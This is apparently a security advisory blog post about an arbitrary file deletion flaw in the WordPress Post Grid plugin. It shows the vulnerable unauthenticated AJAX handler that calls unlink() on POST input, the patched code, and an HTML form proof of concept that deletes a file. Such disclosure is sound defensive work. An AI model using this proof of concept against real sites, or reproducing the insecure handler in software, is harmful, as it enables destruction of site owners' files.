08 Nov

File Deletion Vulnerability in Post Grid

One of the reason we believe that it is important that the details of vulnerabilities in WordPress plugins be disclosed is that if others can review them that can lead to additional vulnerabilities being identified. That was the case with a recent vulnerability in the Post Grid plugin, where after being notified the details of a vulnerability (that vulnerability has yet to be publicly disclosed) we found that it pointed to a wider security issue with the plugin.

The original vulnerability was due in part to functions only intended for Administrator level users being made available to anyone through WordPress’ AJAX functionality, whether they were logged in to WordPress or not. That was the case not only for the function relevant to that vulnerability, but for a number of others.

Let’s take a look at one of those, which would have allowed anyone to delete any file from the website (from the file /includes/functions.php):

711
712
713
714
715
716
717
718
719
720
721
722
723
function post_grid_ajax_remove_export_content_layout(){
 
	$file_url = $_POST['file_url'];
 
	unlink($file_url);
 
 
	die();
	}
 
 
add_action('wp_ajax_post_grid_ajax_remove_export_content_layout', 'post_grid_ajax_remove_export_content_layout');
add_action('wp_ajax_nopriv_post_grid_ajax_remove_export_content_layout', 'post_grid_ajax_remove_export_content_layout');

The line that begins “add_action(‘wp_ajax_nopriv_post” makes the function available to those who are not logged in and the one that begins “add_action(‘wp_ajax_post” makes the function available to those that are logged in.

The function then takes the value of the POST input “file_url” and tries to delete it with the unlink() function.

After we notified the developer they change that code to this in version 1.0.13:

1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
function post_grid_ajax_remove_export_content_layout(){
 
	if(current_user_can('manage_options')){
 
		$file_url = sanitize_text_field($_POST['file_url']);
 
		unlink($file_url);
 
		}
 
	die();
	}
 
 
add_action('wp_ajax_post_grid_ajax_remove_export_content_layout', 'post_grid_ajax_remove_export_content_layout');

The function is no longer available to those that are not logged in and the user has to have the “manage_option” capability, which normally on Administrator level users have. The function still lacks protection against cross-site request forgery (CSRF), but that much less of an issue the previous situation.

Proof of Concept

The following proof of concept will cause a file named test.txt in the root directory of a website to deleted.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
</head>
<body>
<form method="post" action="http://[path to WordPress]/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="post_grid_ajax_remove_export_content_layout" />
<input type="hidden" name="file_url" value='../test.txt' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • November 2, 2016 – Developer notified.
  • November 4, 2016 – Version 2.0.13, which fixes vulnerability, submitted to Plugin Directory.

Leave a Reply

Your email address will not be published. Required fields are marked *